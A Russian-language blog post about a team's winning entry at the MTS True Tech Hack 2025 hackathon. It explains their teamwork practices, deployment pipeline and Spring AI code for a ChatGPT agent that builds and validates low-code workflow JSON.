Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9544 / Markets: 113007
Market Cap: $ 3 691 605 128 269 / 24h Vol: $ 296 812 996 119 / BTC Dominance: 59.836090041736%

Н Новости

Как Java Boys победили в ИИ-хакатоне МТС True Tech Hack 2025 с проектом на Spring AI и ChatGPT

kewa-czfldo1dol8b6kv4hrpzum.jpeg

AI прямо сейчас наступает на пятки разработчикам. У кого-то это вызывает иронию, кому-то помогает писать код. Но как ни крути, LLM создали прецедент, который громко заявил о себе и продолжает широко шагать по миру, сотрясая заголовки новостей и видео.

Меня зовут Рустам Курамшин, я работаю в IT более 10 лет, и мне как бэкенд-разработчику феномен LLM сначала казался больше игрой, чем реальным инструментом разработки. Все изменилось, когда я вырвался из проектов, предоставляющих опосредованный доступ к сервисам известных языковых моделей, и начал пользоваться официальными сервисами. Последние пару лет я активно использую ChatGPT для обучения, разработки и просто чтобы пообщаться о жизни.

А еще LLM помогает мне и моей хакатонной команде Java Boys уверенно побеждать на хакатонах. Опытом нужно делиться, так что ловите историю одной из наших побед. Расскажу, как мы с моими тиммейтами разработали AI-агента на Spring AI и API ChatGPT и выиграли полмиллиона на хакатоне МТС True Tech Hack 2025.


Хакатоны сегодня

h8tdfozi9e76cvdf_lefadekhbi.jpeg

Сидишь за кодом, расставляешь аннотации Spring Boot в проекте, и тут раздается звонок в дверь. На пороге стоит девушка с татуировкой кролика и предлагает тебе проследовать с ее компанией в загадочный и неизвестный мир хакатонов.

Сейчас хакатоны — это матрица. Не так много разработчиков, как хотелось бы, участвуют в таких соревнованиях. По опыту из близкого и не очень далекого окружения моих многочисленных коллег о хакатонах вообще хоть что-то слышали только единицы. А жаль, ведь это отличный способ для изучения новых технологий и развития навыков командной работы. Команда — это главное, но об этом позже.

О первом своем хакатоне зимой 2023 года я случайно узнал из поста в Telegram. До этого такие мероприятия казались мне чем-то непонятным или связанным с хакингом. Тогда я еще не знал, что CTF-соревнования — это отдельная дисциплина и предметная область. На скорую руку сколотил команду из своих коллег, с которыми на тот момент работал в ConTech-стартапе, и мы ушли на две ночи кодить. С тех пор для меня открылся этот дивный новый мир хакатонов! Как он устроен сейчас?

Провайдеры хакатонов

pn5ixv2akqg0yq-aabbmayoqxrw.jpeg

Сделать хорошее и яркое мероприятие — та еще задача. Для начала вам нужно найти участников. Где вы будете искать людей с мотивацией разрабатывать проекты в нерабочее время без четких гарантий что-то выиграть? Вузы? Окей, студентам это интересно. Но одна из целей, которую хотят достичь крупные компании через хакатоны, — это возможность узнать о новых технологических решениях в современной разработке. Это полезно для расширения технологического кругозора внутри, и тут уже нужны действующие разработчики.

На помощь приходят комьюнити, сформированные компаниями — организаторами хакатонов. Если на ваш хакатон придет 10 человек, это провал. Нужно, чтобы их были сотни, а лучше тысячи. Тогда будет настоящий ажиотаж и накал страстей.

Самые известные компании, которые помогают организовывать такие соревнования, — хакатоны.рус и Сodenrock. Мне нравится, что сейчас это область развивается и есть проекты, которые могут конкурировать между собой.

Технические затраты на проведение хорошего хакатона достаточно серьезные:

  • Нужен маркетинг мероприятия, чтобы привлекать лучшие умы.

  • Нужен красивый лендинг для уверенного присутствия в сети.

  • Нужна студия для ведущих и организаторов, чтобы вести трансляцию. Если хакатон проходит офлайн, нужно большое помещение для участников.

  • Нужна платформа для регистрации команд, размещения заданий и загрузки решений.

  • Нужны эксперты и волонтеры, которые будут вести участников на всех этапах от старта до финала.

Вывод: хороший хакатон — это дорого.

Где отслеживать хакатоны

Для меня есть один работающий источник — Telegram. Поделюсь любимыми каналами:

Именно здесь идет основной поток новостей. Следить за ними, чтобы отлавливать интересные соревнования, очень просто. Мы пользуемся сами и вам советуем.

Хакатон МТС True Tech Hack 2025

3e49a9b4b5cb8240116d1df27f733168.jpg

МТС в последнее время устраивает добротные мероприятия для комьюнити. Этой весной в апреле они провели True Tech Hack 2025 — соревнование, о котором лучше всего говорят его цифры:

  • призовой фонд — 1 500 000 руб.;

  • более 2000 регистраций;

  • более 100 загруженных решений;

  • 8 команд-победителей.

И это только по внешнему треку. Всего их было два: для внутренних сотрудников и для внешних специалистов, подробно об этом писали тут.

Как человек, повидавший множество таких мероприятий, могу сказать, что компании удалось хорошо организовать хакатон. Тут были маркетинг, лендинг, платформа для участников, стандартная папка с чатами в Telegram для поддержки, офлайн-финал в Москве.

Самое интересное, конечно, это задачи: они вращались вокруг разработки AI-агентов на базе LLM и анализа данных. Компания принесла не только задачи, но и ИТ-платформу The Platform — на хакатоне можно было вплотную поработать с ее инструментами.

Задачи хакатона

Задачи, или, как иногда говорят, «треки», были привязаны к инструментам и стримам платформы:

  • MWS Data. Разработка решения для автоматизации процессов сбора данных из открытых источников, их обработки и создания аналитических отчетов на основе набора инструментов MWS Data.

  • MWS Octapi. Разработка решения на базе ИИ, автоматизирующего процесс создания JSON-схем для описания бизнес-логики и интеграций.

  • MWS Tables. Автоматизация процессов работы с данными. Создание единой экосистемы на базе MWS Tables для минимизации дублирования задач и повышения прозрачности операций.

  • Product Factory. Разработка AI-ассистента, который анализирует интерфейсы мобильных приложений, реагирует на касания и жесты пользователя и преобразовывает визуальные элементы в голосовые подсказки.

  • MWS GPT. Разработка мультиагентной системы на базе языковых моделей, которая помогает оператору контакт-центра в реальном времени.**

Когда я открыл лендинг хакатона, у меня возник синдром самозванца. Для меня и моей команды тема разработки проектов на базе AI и ML всегда была чем-то из другого мира, ведь мы занимаемся разработкой классических web-приложений. Но интуиция не подвела. Оказалось, что при наличии удачи и погружения в тему можно взять задачу AI Schema Builder из трека MWS Octapi и выполнить ее с помощью интеграции с API LLM и Spring AI, о котором я тогда знал только в общих чертах. Да и в описании задачи было знакомое до боли слово JSON. Ну и кто мы, java backend-разработчики, если не CRUDовщики — создатели джейсономешалок?

Как работает команда Java Boys

На таких мероприятиях мы именно работаем. За первый проигранный хакатон было очень обидно. Мы разработали классную бэкендовую архитектуру, сделали работающий проект, но фронтендеры, которых мы нашли по объявлению, подкачали — и мы не прошли в финал, хотя жюри отметило наше решение. С тех пор я сделал выводы.

Самое важное — это команда. Она должна состоять из людей, которых я лично знаю и с которыми я работал в реальных коммерческих проектах. Организация работы команды — первый приоритет.

В будущем именно такой подход помог нам занимать призовые места и писать интересные проекты.

Все ребята из команды — Java-разработчики, простое и понятное название на это намекает. У нас разный опыт и бэкграунд в разработке, и это дает нам широкий кругозор внутри команды.

По дефолту мы все пишем на Java. В нашей команде нет потребности в аналитиках, продактах, UI/UX дизайнерах, тестировщиках и прочих ролях. Все достаточно самостоятельные люди в разработке со своим видением работы над проектом.

А теперь раскрою несколько профессиональных секретов на примере проекта Vibe JSON, который мы написали на хакатоне МТС. Покажу, как была организована наша работа и какие инструменты мы использовали. Это хорошее подспорье, чтобы понять, как эффективно распределять усилия и побеждать.

Дисциплина и командная работа

2haccke6seuo5z7z1-cjc2qv0bk.jpeg

Без поддержания порядка не получится написать работающий проект в сжатые сроки. Нужно принять внутреннее соглашение, что хакатон — это работа, и обычно достаточно напряженная. А поскольку мы ей занимаемся в нерабочее время, то будут и соответствующие неудобства в виде усталости и недостатка сна.

Как я уже писал выше, команда — это главное. Побеждают не хорошие программисты или крутые технологии — побеждает именно она. Если у вас нет сплоченного коллектива, вы можете рассчитывать только на себя. Но если пишешь проект с людьми, в которых ты уверен, если знаешь, что они не сольются на второй день хакатона, тогда у тебя все хорошо.

Считайте, что это как компьютерная игра Overcooked. Вы работаете совместно на кухне, а вокруг происходит This is fine.

Брейншторм задачи

7lhzadwftppsemiqgl-j-zilivo.png

Мы используем Miro, но это не единственное решение. Смысл в том, что команда собирается и разбирает условия задачи, зачитывает их несколько раз. Цель — осознать, что именно требуется разработать.

Первый этап — это брейншторм. Можно добавлять на доску стикеры с произвольными идеями и ключевыми смыслами. Эти вещи должна видеть вся команда, чтобы настроить свое мышление и начать генерировать идеи. Пишите на доске все, что в этот момент создает ваш мозг. Главное, чтобы через определенное время вы увидели свет в конце тоннеля воображения и поняли, как писать свой проект.

Когда очертания решения сформированы, нужно перейти к архитектурному проектированию. Придумать архитектуру вашего проекта и понять, как он будет работать.

pdi-uhnxw1tyk2ct65t0cpcrelw.jpeg

У Vibe JSON была простая архитектура для реализации требований задачи, но так бывает не всегда

Перед началом разработки нужно определиться с моделью данных и понять, какие таблицы, entity-классы будут в проекте. Иногда этот этап может занимать существенное время.

Таск-трекер для распределения задач

Дальше нужно сделать декомпозицию задач и напилить таски. Все как в обычном проекте разработки. Можно использовать Miro:

umiugi6q_ijbr2p-1cu9vlhotq4.png

Но есть классный инструмент — GitHub Projects. Вы все равно будете хостить код проекта на GitHub, почему бы там же не управлять задачами?

af7it5t5hnahr0g0dzoghko0tam.jpeg

Когда проект разделен на задачи, можно начинать писать код.

Как бэкендерам писать проект на Java и не беспокоиться о фронтенде?

guxrx6_epchrr_apvhxpebmgfoq.jpeg

Кажется, выбор стека разработки для Java-проекта вполне очевиден. Нам достаточно взять Java/Kotlin, Spring Framework, PostgreSQL (прочие хранилки, кэши, очереди, если нужно). Но что делать с фронтендом, если не все в команде знают JavaScript/TypeScript и React? Конечно, можно позвать в команду надежных фронтов, но если у вас таких нет?

Тут я хочу рассказать о Jmix — это фреймворк для Spring Framework, который основан на Vaadin и позволяет разрабатывать full stack приложения на Java. Я уже много чего успел поразрабатывать на Jmix для разных задач. Могу сказать, что это спасение, когда нужно сделать фронтенд без фронтендеров. Ты разрабатываешь в привычной парадигме Spring, но у тебя появляется UI!

Подписка на лучшие LLM-сервисы и их API

hyhsbqqxyjqi7quaiincuitsqxk.jpeg

Я не продаю подписки на LLM, но без качественных моделей не получится написать хороший проект, который будет работать с API LLM. Да и не только с API. На хакатоне можно столкнуться со сложными нетривиальными задачами, связанными с разработкой. И у меня такое было — например, когда нужно было читать MongoDB change stream и писать в WebSockets, работать с блокчейном и API его нод доступа, запускать docker-контейнеры из java-кода, работать с локальными git-репозиториями из java-кода и прочими необычными вещами, которые ты придумываешь в рамках разработки на хакатоне.

Великий Google и Stackoverflow уже не помогут так быстро. Поможет навык быстро решать вопросы с помощью LLM. Если ты умеешь писать код с их помощью, ты банально получаешь преимущество в скорости разработки, а на хакатонах скорость критична. К тому же хорошая LLM и навык писать промпты помогут быстро сделать сильную презентацию для питч-сессии.

Кроме прочего, можно использовать API больших языковых моделей, чтобы создавать на их основе бизнес-функциональность в своем проекте. Что мы успешно и начали применять в разработке.

Кроме репо на GitHub нужен еще и CI

Выше я упоминал, что у нас свои серверы. Если вы разрабатываете пет-проекты или участвуете в хакатонах, для вас это тоже отличный вариант.

yko7uta5d5enqo2yzudhoerou2s.jpeg

На фото выше — мой кластер одноплатных компьютеров. Когда-нибудь я напишу о нем отдельный текст. Это удобная домашняя сетевая лаборатория, при этом очень мощная по своим характеристикам. Так мне не нужно думать о цене за облако. Статический IP у провайдера стоит недорого. Дальше я регистрирую свой домен — и дело в шляпе. Остается накатить на все хосты Linux, настроить окружение и сетевую конфигурацию на маршрутизаторе — трансляцию сетевых адресов через NAT. На моем кластере задеплоены все проекты с хакатонов.

Дальше нужно написать CI-пайплайн, чтобы инкременты разработки проекта автоматически деплоились на сервер. И здесь очень удобен GitHub Actions. Необязательно писать суперавтоматизацию. Достаточно базовой возможности выкатывать проект на сервер автоматически без ручных манипуляций, и чтобы это мог делать любой участник команды. Вот небольшой пример простого CI-пайплайна, который деплоит проект:

name: CI/CD Pipeline for Vibe-JSON Project  
  
on:  
  pull_request:  
    branches:  
      - main  
      - 'feature/**'  
  workflow_dispatch:  
    inputs:  
      branch:  
        description: 'Branch name to deploy'  
        required: true  
        default: 'main'  
  
jobs:  
  build:  
    runs-on: ubuntu-latest  
    steps:  
      - name: Checkout code  
        uses: actions/checkout@v3  
  
      - name: Set up JDK 17  
        uses: actions/setup-java@v3  
        with:  
          java-version: '17'  
          distribution: 'adopt'  
  
      - name: Build with Gradle  
        run: |  
          ./gradlew clean build -x test  
          ./gradlew -Pvaadin.productionMode=true bootJar -x test  
  
  deploy:  
    needs: build  
    runs-on: ubuntu-latest  
    if: github.event_name == 'workflow_dispatch'  
    steps:  
      - name: Checkout code  
        uses: actions/checkout@v3  
  
      - name: Deploy to Server  
        uses: appleboy/ssh-action@master  
        with:  
          host: kuramshin-dev.ru  
          username: ubuntu  
          port: 50151  
          key: ${{ secrets.SSH_PRIVATE_KEY }}  
          script: |  
            cd /home/ubuntu/vibe-json  
            ./deploy.sh ${{ github.event.inputs.branch }}

Это деплой с запуском контейнеров на linux-сервере. Если вы хотите более продвинутых решений, например, на основе kubernetes, это тоже не проблема. Можно написать пайплайн, где kubectl или helm будут деплоить ваш проект в k8s.

Что самое главное в деплое проекта на сервер и публичном доступе к нему? Жюри сможет посмотреть проект, просто кликнув URL. Им не придется разбираться с инструкциями по локальному развертыванию на своей системе проекта участника. Здесь можно возразить, что, мол, есть docker-compose. Но когда ваш проект использует внешние интеграции с LLM, встает вопрос, как передавать токены и так далее.

Презентация и выступление на питч-сессии всё решают

e2a6wf0-wrwwfpvwz57ue_efsq4.jpeg

В хакатоне побеждает презентация и немного — ваш проект и его код. Это может звучать абсурдно, но это так. На питч-сессии в финале хакатона вы приходите продавать ваш проект, и от умения его презентовать с помощью речи и презентации зависит почти все. Тут уже не имеет значения, насколько вы хорошие или плохие разработчики. Мы всегда покупаем обложку и идею, а только потом разбираемся, что там внутри.

xvmdr4kneocw-0bugduaxp-kpf8.jpeg

Вывод такой: если хотите побеждать, вам придется вплотную познакомиться с PowerPoint и научиться делать интересные слайды. Потом — еще интереснее, вам точно нужно будет репетировать выступление на питч-сессии, и чем больше раз вы это сделаете, тем лучше. Советую заранее подготовить свою речь, расписать план, что именно и когда вы будете говорить. Это поможет структурировать информацию, справиться с волнением на сцене и не упустить самого важного. Записывайте себя на видео, чтобы понимать, как вы звучите и выглядите со стороны.

AI Schema Builder: генерация схем

Всего на хакатоне было пять задач, мы выбрали трек от MWS Octapi — платформы для надежной и безопасной интеграции высоконагруженных систем в разнородных ИТ-ландшафтах. Кратко задача звучала так:

AI Schema Builder: генерация схем. Разработай решение на базе ИИ, автоматизирующее процесс создания JSON-схем для описания бизнес-логики и интеграций

В MWS Octapi есть такая необычная штука, как Low-Code-система для реализации интеграций на бэкенде. Она представляет из себя некий workflow, DAG, граф, BPMN-диаграмму. Можете взять любой знакомый вам термин. Часто это называют DAG (Directed Acyclic Graph). Его узлы в контексте задачи называются Activity, а сам граф называется workflow.**

psd0dsbd_me8graqwiofgbpkzim.png

Workflow описывает выполнение шагов интеграции на бэкенде. Например, получи выписку с банковского счета на почте, отправь ее по REST в сервис A, потом отправь ее данные в топик Kafka. Каждый шаг — это отдельный Activity. Если вы слышали про Camunda и движки бизнес-процессов, вам не нужно объяснять, что это такое.

В MWS придумали классную штуку. Чтобы реализовать интеграции на бэкенде, не нужно писать код — нужно описать JSON для специальной Low-Code-системы. Она получает на вход ваш JSON, описывающий процесс интеграции, и начинает как бы его воспроизводить, проигрывать, как магнитофон проигрывает кассету (да-да, были такие времена с кассетами).

Но в компании пошли еще дальше и стали генерировать этот JSON с помощью диалога с LLM. То есть условный системный аналитик пишет LLM в чате, какую интеграцию он хочет реализовать. LLM задает уточняющие вопросы и в конце генерирует валидный JSON, который можно скормить Low-Code-системе.

К задаче прилагалась достаточно внушительная спецификация этого JSON — 150 страниц текста и таблиц. Такой объем инфы LLM не сможет переварить в качестве контекста вашего запроса, и делать тут RAG, скорее всего, не хватит времени.

Итак, в задаче на хакатоне требовалось разработать такое решение на базе LLM, которое позволит генерировать JSON для Low-Code-системы на основе диалога с пользователем.

Как мы явили миру Vibe JSON

Ранее я показывал архитектуру Vibe JSON. Проект устроен просто: Java 17, Spring Boot, Jmix, PostgreSQL, Spring AI, Docker. Но все дело в Spring AI. Без него разработать годный прототип в такие короткие сроки не получилось бы.

У Vibe JSON достаточно простой UI.

42ety7v1tysg5rlblepxhmh797q.jpeg

Пользователь описывает, какую интеграцию он хочет реализовать. ChatGPT задает ему уточняющие вопросы. После ряда шагов формируется JSON для Low-Code-системы.

Чтобы вам было легче разобраться в реализации проекта, я напомню некоторые аспекты разработки AI-агентов, которые сейчас делают LLM не просто приятным собеседником, а инструментом создания автоматизации. Поскольку я использую API OpenAI Platform, буду опираться на их терминологию.

Немного терминов

AI-агент — это программа или система, которая может самостоятельно принимать решения и выполнять действия, направленные на достижение определенной цели, используя методы искусственного интеллекта.

JSON — один из самых широко используемых форматов для обмена данными между приложениями во всем мире.

Функция Structured Outputs (структурированный вывод) гарантирует, что модель будет всегда генерировать ответы, соответствующие заданной JSON-схеме. Это избавляет от необходимости проверять наличие всех обязательных ключей или следить за тем, чтобы значения соответствовали допустимым перечислениям.

Function calling, или вызов функций, позволяет моделям получать данные и выполнять действия. Вызов функций — это способ интеграции моделей с вашим кодом или внешними сервисами. Вы можете предоставить модели доступ к своему коду с помощью механизма вызова функций. На основе системного промпта и предыдущих сообщений модель может принять решение о вызове определенной функции — вместо (или помимо) генерации текста.

Здесь нужно понять одну ключевую особенность: модель должна быть хорошо обучена работать с JSON-схемами, ведь фактически Structured Outputs и Function calling связаны с передачей модели JSON-схемы и парсинга JSON-а из ответа модели. И Spring AI отлично справляется с этими задачами.

Начать работать со Spring AI несложно, есть документация.

Я не буду показывать очевидные разделы проекта Vibe JSON, в конце публикации будет ссылка на репозиторий и вы при желании сможете посмотреть код самостоятельно. Я покажу интересные, по моему мнению, места в коде, чтобы подчеркнуть возможности Spring AI.

Решение этой задачи именно на Java дает определенное преимущество: если прилагаемую к задаче 150-страничную документацию к JSON не перевести в Java-классы, ничего не получится. Это стало отправной точкой в разработке проекта.

Экскурсия по исходному коду проекта

Все начинается с описания интеграционного workflow:

@Data  
@EntityDescription("Определение рабочего процесса")  
@JsonIgnoreProperties(value = {"flowEditorConfig"})  
public class WorkflowDefinitionDto {  
  
    @NotBlank  
    @Size(max = 255)  
    private String type = "complex";  
  
    @NotBlank  
    @Size(max = 255)  
    private String name;  
  
    @Size(max = 4000)  
    private String description;  
  
    private Integer version = 1;  
  
    private String tenantId = "default";  
  
    @NotNull  
    @Valid
    private DetailsDto details;  
  
    @Valid  
    private CompiledDto compiled;  
}

Дальше идет 65 (!) java-классов, описывающих вложенные структуры рабочего процесса. Два человека из нашей команды занимались переводом спецификации в java-классы. Пришлось немного попотеть, но и здесь ChatGPT тоже помогла немного ускориться, хоть и не всегда с первого раза.

Стоит отметить, что некоторые поля классов workflow размечены аннотациями jakarta.validation.constraints. Потом это будет иметь значение при реализации function calling — механизма, который позволяет вызывать ChatGPT методы в нашем коде.

К задаче прилагались несколько json-файлов с примерами workflow. Понадобилось написать тесты десериализации, чтобы гарантировать, что наш проект будет работать с корректной структурой workflow, потому что участники жюри будут проверять работу сервиса на реальной Low-Code-системе у себя в компании. Тесты дают гарантии, что мы не разойдемся в ожиданиях.

@Slf4j  
public class WorkflowDeserializationTest {  
  
    private final ObjectMapper objectMapper = new ObjectMapper()  
            .registerModule(new JavaTimeModule())  
            .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true)  
            .configure(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES, true)  
            .configure(DeserializationFeature.FAIL_ON_INVALID_SUBTYPE, true);  
  
     private <T> void assertJsonMatchesDto(File jsonFile, Class<T> dtoClass) {  
        try {  
            objectMapper.readValue(jsonFile, dtoClass);  
        } catch (UnrecognizedPropertyException e) {  
            String shortMessage = String.format(  
                    "В файле [%s] обнаружено неизвестное поле: \"%s\" в классе [%s]",  
                    jsonFile.getName(),  
                    e.getPropertyName(),  
                    e.getReferringClass().getSimpleName()  
            );  
            fail(shortMessage);  
        } catch (IOException e) {  
            fail("Ошибка при десериализации " + jsonFile.getName() + ": " + e.getMessage());  
        }  
    }  
  
    @Test  
    @DisplayName("wf-1.json должен корректно десериализоваться в WorkflowDefinitionDto")  
    public void testWf1Json() {  
        File file = new File("src/test/resources/workflows/wf-1.json");  
        assertJsonMatchesDto(file, WorkflowDefinitionDto.class);  
    }

    //... прочие тесты на другие json-файлы
}

Когда у тебя столько java-классов моделей в проекте и идет достаточно интенсивная разработка, хочется быстро проверять, что все 65 классов связаны между собой. Да, можно каждый раз открывать пакет и руками проходить по списку классов в IDEA. Но мы, разработчики, ленивые люди. Всегда хочется какой-то автоматизации.

Достаточно давно для автоматизации работы со своими проектами я пишу скрипты на Bash или Groovy. И да, Groovy жив как никогда. Я очень люблю и ценю этот JVM-язык, пишу на нем скрипты, и меня особо не беспокоят расхожие выражения, что Groovy устарел или что он мертв. Это не так.

Чтобы быстро чекать связность классов workflow, я сделал скрипт на Groovy:

#!/usr/bin/env groovy  
  
if (args.length != 1) {  
    println "Usage: ./analyzePackage.groovy path/to/package"  
    System.exit(1)  
}  
  
def packagePath = args[0]  
def baseDir = new File(packagePath)  
  
if (!baseDir.exists() || !baseDir.isDirectory()) {  
    println "Invalid package path: $packagePath"  
    System.exit(1)  
}  
  
// Рекурсивно собираем все .java файлы  
def getJavaFilesRecursively = { File dir ->  
    def javaFiles = []  
    dir.eachFileRecurse { file ->  
        if (file.name.endsWith(".java")) {  
            javaFiles << file  
        }  
    }  
    return javaFiles  
}  
  
def javaFiles = getJavaFilesRecursively(baseDir)  
  
if (javaFiles.isEmpty()) {  
    println "No Java files found in: $packagePath"  
    System.exit(0)  
}  
  
Set<String> allClassNames = []  
Map<String, File> classFileMap = [:]  
Map<String, Boolean> hasFields = [:]  
  
// Собираем имена классов и проверяем на наличие полей  
javaFiles.each { file ->  
    def text = file.text  
    def matcher = text =~ /class\s+([A-Za-z0-9_]+)/  
    if (matcher.find()) {  
        def className = matcher.group(1)  
        allClassNames << className  
        classFileMap[className] = file  
  
        def fieldMatcher = text =~ /(?:private|protected|public)?\s+(?!class|interface)[\w<>]+\s+\w+\s*(=|;)/  
        hasFields[className] = fieldMatcher.find()  
    }  
}  
  
Set<String> usedClasses = [] as Set  
  
// Ищем упоминания классов в других файлах  
javaFiles.each { file ->  
    def text = file.text  
    allClassNames.each { className ->  
        if (text.contains(className) && !file.name.contains(className + ".java")) {  
            usedClasses << className  
        }  
    }  
}  
  
println "\n🔍 Классы без полей (пустые):"hasFields.each { className, hasField ->  
    if (!hasField) {  
        println " - $className (${classFileMap[className].path})"  
    }  
}  
  
println "\n🧹 Неиспользуемые классы (в рамках пакета):"(allClassNames - usedClasses).each { unusedClass ->  
    println " - $unusedClass (${classFileMap[unusedClass].path})"  
}

Да, он не идеальный и может иногда давать ложные срабатывания, но это редкие кейсы. Скрипт запускается командой:

 groovy analyzePackage.groovy src/main/java/ru/javaboys/vibejson/wfdefenition

Теперь, у нас есть классы, описывающие модель данных выходного workflow. Осталось дело за малым — реализовать AI-агента.

В этом проекте у агента минималистичная функциональность. Но поскольку используется structured output и function calling — это именно агент, а не просто чат с AI-ассистентом.

Spring AI можно достаточно быстро затянуть в проект на Gradle (с Groovy DSL):


// ...

repositories {  
    mavenCentral()  
    maven {  
        url 'https://global.repo.jmix.io/repository/public'  
    }  
    maven { url 'https://repo.spring.io/milestone' }  
    maven { url 'https://repo.spring.io/snapshot' }  
    maven {  
        name = 'Central Portal Snapshots'  
        url = 'https://central.sonatype.com/repository/maven-snapshots/'  
    }  
}

// ...

ext {  
    set('springAiVersion', "1.0.0-M7")  
}

// ...

implementation platform("org.springframework.ai:spring-ai-bom:1.0.0-SNAPSHOT")  
implementation 'org.springframework.ai:spring-ai-starter-model-openai'  
implementation 'org.springframework.ai:spring-ai-starter-model-chat-memory-jdbc'

// ...

dependencyManagement {  
    imports {  
        mavenBom "org.springframework.ai:spring-ai-bom:${springAiVersion}"  
    }  
}

Использование Gradle и Groovy DSL обусловлено Jmix.

Алгоритм работы AI-агента в этом проекте можно представить такой схемой:

hvfcki8ude_cwrnrxl444jxatxc.png

Теперь давайте детальнее рассмотрим элементы этого процесса.

Первое, что нам нужно, — это системный промпт, который будет управлять поведением AI-агента. Как известно, промпты рождаются в муках — и этот не был исключением:

Ты – AI помощник для построения интеграционных бизнес-процессов.  
Ты можешь обсуждать только вопросы и задачи связанные с формированием workflow.  
Твоя основная задача - преобразовывать интеграционный бизнес-процесс, описанный пользователем с помощью текста, в структуру workflow.  
Допустимые типы Starter (стартеры): {allowedStarterTypes}.  
Допустимые типы Activity (активити): {allowedActivityTypes}.  
Активити - это те кубики, из которых строится основная логика работы интеграционных бизнес-процессов.  
Стартеры - это способ запуска интеграционного бизнес-процесса.  
  
Твой алгоритм по формированию workflow из текстового описания пользователя:  
- Построй список активити в соответствии с доступными активити.  
Сам выбирай активити в соответствии с описанием интеграционного бизнес-процесса, который указывает пользователь и названием активити.  
В соответствии со структурой требуемых активити, описанных в workflow, уточни параметры недостающие для заполнения полей активити.  
- Задай вопрос какие стартеры использовать для запуска интеграционного бизнес-процесса, над которым ты работаешь.  
В соответствии со структурой требуемого стартеров, описанного в workflow, уточни параметры недостающие для заполнения полей стартера.  
- Если не хватает данных (например, отсутствует обязательный параметр), задавай уточняющие вопросы.  
- Некоторые поля workflow можешь заполнять подходящими по контексту значения на своё усмотрение.  
- Для валидации workflow используй инструмент validateWorkflow, который возвращает признак валидности и список ошибок, если workflow не валидный.  
Если были обнаружены ошибки валидации, то на основе описания этих ошибок сформируй дополнительные вопросы для пользователя,  
чтобы на их основе пользователь уточнил или исправил параметры workflow, что позволило бы пройти валидацию.  
- На каждом шаге возвращай сообщение для пользователя в поле chatMessageForUser. 
- Возвращай workflow только, если он был полностью сформирован. В противном случае, не заполняй это поле.

Здесь можно заметить интерполяцию переменных в текст промпта через {allowedStarterTypes} и {allowedActivityTypes}. У этой, казалось бы, простой операции серьезное название — prompt templates, термин получивший широкое применение в библиотеках для работы с LLM. Он нужен, чтобы сделать ваши промпты не прибитыми гвоздями к конкретным значениям, а дать им возможность подстраиваться под ваши данные.

В Spring AI есть специальные классы для работы с шаблонами:

Map<String, Object> templateParams = new HashMap<>();  
templateParams.put("allowedStarterTypes", String.join(",", WorkflowUtils.getAllowedStarterTypes()));  
templateParams.put("allowedActivityTypes", String.join(",", WorkflowUtils.getAllowedActivityTypes()));  
  
// ... 
  
SystemPromptTemplate systemPromptTemplate = new SystemPromptTemplate(systemText);  
return systemPromptTemplate.createMessage(templateParams);

Теперь мы можем объединить системный промпт с сообщением пользователя из чата и отправить запрос в API OpenAI Platform:

public LLMResponseDto processUserMessage(String sessionId, String userMessage, String currentWorkflow) {  
    Message systemMsg = createSystemInstruction(currentWorkflow);  
    Message userMsg = new UserMessage(userMessage);  
  
    List<Message> promptMessages = new ArrayList<>();  
    promptMessages.add(systemMsg);  
    promptMessages.add(userMsg);  
  
    return chatClient  
            .prompt(new Prompt(promptMessages))  
            .advisors(advisor -> advisor.param("chat_memory_conversation_id", sessionId)  
                    .param("chat_memory_response_size", 100))  
            .tools(workflowTools)  
            .call()  
            .entity(LLMResponseDto.class);  
}

Пока не смотрим на advisor. Самое интересное здесь — это entity(LLMResponseDto.class). Это тот самый Structured Output, который в этом проекте позволяет получать от ChatGPT одновременно workflow и следующее сообщение для пользователя с помощью класса LLMResponseDto:

@Setter  
@Getter  
@Data  
public class LLMResponseDto {  
    private String chatMessageForUser;  
    private WorkflowDefinitionDto workflow;  
}

Использование .entity() спасает от написания вагона бойлерплейт-кода, который нужен, чтобы заставить ChatGPT работать с JSON-схемой и отдавать ответ в виде JSON. Я знаком с этим не понаслышке, потому что в первых версиях этого проекта делал structured output «голыми руками» с помощью расширенного промпта, библиотеки для работы с json-схемами и парсинга ответа через regex. Хорошо, что Spring AI может взять на себя эту работу и вдобавок еще обрабатывать ошибки десериализации.

Следующая проблема, которую предстояло решить, — получение валидного JSON workflow. Конечно, .entity() гарантирует получение ответа в виде инстанса класса LLMResponseDto. Но проблема в том, что там внутри 65 классов и ChatGPT попросту может забыть заполнить часть полей или даже блоков workflow.

Как заставить ChatGPT заполнять все требуемые поля? Как мы добиваемся проверки полей, когда разрабатываем REST-микросервисы? Конечно же, с помощью валидации через Bean Validation! Провернуть это с ChatGPT можно с помощью Function Calling — он позволяет LLM вызывать методы в вашем коде.

Тут нет никакой магии. Библиотека-посредник сообщает LLM, что есть определенные tool, инструменты. Дает ей описание переменных и возвращаемого значения с помощью JSON-схемы. LLM передает библиотеке JSON, на вашей стороне происходит вызов метода в коде, ответ сериализуется и отдается LLM в виде JSON. Главное, это поддержка Function Calling самой моделью. Не все модели умеют делать это из коробки.

В итоге нам нужен tool, который позволит ChatGPT проверять, корректно ли она, по нашему мнению, сформировала workflow. Для этого мы опишем следующий инструмент:

@Data  
public class ValidationResult {  
    private Boolean isValid;  
    private List<String> errors;  
}

@Slf4j  
@Component  
public class WorkflowTools {  
  
    @Tool(description = "Метод позволяет выполнить валидацию workflow")  
    public ValidationResult validateWorkflow(  
             @ToolParam(description = "Текущий сформированный интеграционный бизнес-процесс") WorkflowDefinitionDto workflow  
    ) {  
        ValidationResult result = new ValidationResult();  
        List<String> errors = new ArrayList<>();  
  
        if (workflow == null) {  
            result.setIsValid(false);  
            errors.add("workflow не может быть null");  
            result.setErrors(errors);  
            logValidationErrors(errors);  
            return result;  
        }  
  
        Validator validator = Validation.buildDefaultValidatorFactory().getValidator();  
        Set<ConstraintViolation<WorkflowDefinitionDto>> violations = validator.validate(workflow);  
  
        if (!violations.isEmpty()) {  
            errors = violations.stream()  
                    .map(v -> formatViolation(v))  
                    .collect(Collectors.toList());  
            result.setIsValid(false);  
            result.setErrors(errors);  
            logValidationErrors(errors);  
        } else {  
            result.setIsValid(true);  
            result.setErrors(List.of());  
        }  
  
        return result;  
    }  
  
